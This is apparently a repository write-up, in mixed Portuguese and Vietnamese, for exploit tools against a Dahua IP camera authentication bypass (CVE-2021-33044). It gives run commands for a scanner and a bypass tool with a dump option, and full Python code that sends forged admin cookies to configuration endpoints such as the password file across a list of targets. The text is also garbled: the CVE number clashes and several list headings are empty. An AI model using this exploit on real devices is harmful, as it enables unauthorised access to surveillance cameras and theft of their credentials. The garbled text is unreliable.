
Camera Dahua Research lỗ hổng CVE-2021-33044
As câmeras IP Dahua são dispositivos IoT amplamente utilizados em sistemas de vigilância de segurança. Devido à sua implantação frequente em redes internas ou acesso pela Internet, vulnerabilidades de segurança em câmeras IP podem afetar seriamente a privacidade e a segurança da informação.
CVE-2021-33045 é uma vulnerabilidade de segurança que existe em algumas séries de câmeras Dahua, permitindo acesso não autorizado a recursos de configuração internos sem autenticação válida. Essa vulnerabilidade decorre de um mecanismo de controle de acesso frouxo no firmware do dispositivo.
| Item | Conteúdo |
|---|---|
| CVE | CVE-2021-33044 |
| Tipo | Authentication Bypass |
| Severidade | Critical (CVSS ~9.8) |
| Autenticação | Não requer autenticação |
| Afetados | Dahua Camera / DVR / NVR |
A vulnerabilidade decorre de um design de autenticação inseguro no firmware das câmeras Dahua:
Isso permite que um invasor:
Referências:
→ Client gửi HTTP request kèm cookie tùy ý
→ Camera kiểm tra cookie ở mức giao diện
→ Không xác minh session hợp lệ ở backend
→ Cho phép truy cập trực tiếp vào các endpoint cấu hình nội bộ
→ Trả về dữ liệu nhạy cảm
# Clone repository
git clone https://github.com/eagle-nett/DAHUA_AUTH-BYPASS-CVE-2021-33044.git
cd DAHUA_AUTH-BYPASS-CVE-2021-33044
pip install requests
# Scan subnet (ports required)
python dahua_scanner.py https://example.com -p 80 8080 8800
# Single host with port
python dahua_scanner.py https://example.com
Portas comuns Dahua: 80,443, 8080, 37777, 37778
python dahua_exploit.py https://example.com -p 8081
python dahua_exploit.py https://example.com -c 2021-33044 #CVE
python dahua_exploit.py --help
python dahua_auth_bypass.py https://example.com -p 8080
python dahua_auth_bypass.py https://example.com # Dump thiết bị sau khi bypass
#!/usr/bin/env python3
import requests, sys
requests.packages.urllib3.disable_warnings()
def dump_accounts(ip, port=80):
base = f"http://{ip}:{port}"
cookies = {
"userName": "admin",
"userLevel": "1",
"sessionID": "00000000"
}
urls = [
"/current_config/passwd",
"/current_config/Account1",
"/current_config/UserMgr",
"/current_config/accounts"
]
for path in urls:
try:
r = requests.get(
base + path,
cookies=cookies,
verify=False,
timeout=8
)
if r.status_code == 200 and len(r.text) > 30:
print(f"[+] {ip}:{port} VULNERABLE → {path}")
return
except:
pass
print(f"[-] {ip}:{port} safe / patched")
for line in open("targets.txt"):
t = line.strip()
if not t or t.startswith("#"):
continue
ip = t.split(":")[0]
port = int(t.split(":")[1]) if ":" in t else 80
dump_accounts(ip, port)
O script usa a biblioteca requests e desativa ativamente os avisos SSL para desabilitar alertas SSL.
A função dump_accounts(ip, port=80) é a função principal responsável por verificar um dispositivo de câmera.
As principais funções da função são:
Simulação de cookie de autenticação. A função usa valores de cookie como:
userName=adminuserLevel=1sessionID=00000000Nas versões de câmera afetadas, o backend não verifica o sessionID real, fazendo com que o sistema acredite que a requisição foi enviada de uma conta de administrador válida.
O script lê a lista de alvos do arquivo de entrada, chamando a função de verificação para cada dispositivo. Essa abordagem permite avaliar várias câmeras automaticamente.
Estes scripts foram desenvolvidos com base em:
Status de teste:
Este projeto:
| File | Propósito | CVEs |
|---|
dahua_scanner.py | Descoberta de rede — encontra câmeras Dahua na sub-rede | Detecção |
dahua_exploit.py | Ferramenta de varredura Multi-CVE — verifica todas as vulnerabilidades de segurança. | Todas |
dahua_auth_bypass.py | Bypass de autenticação dedicado com opção --dump | CVE-2021-33044 |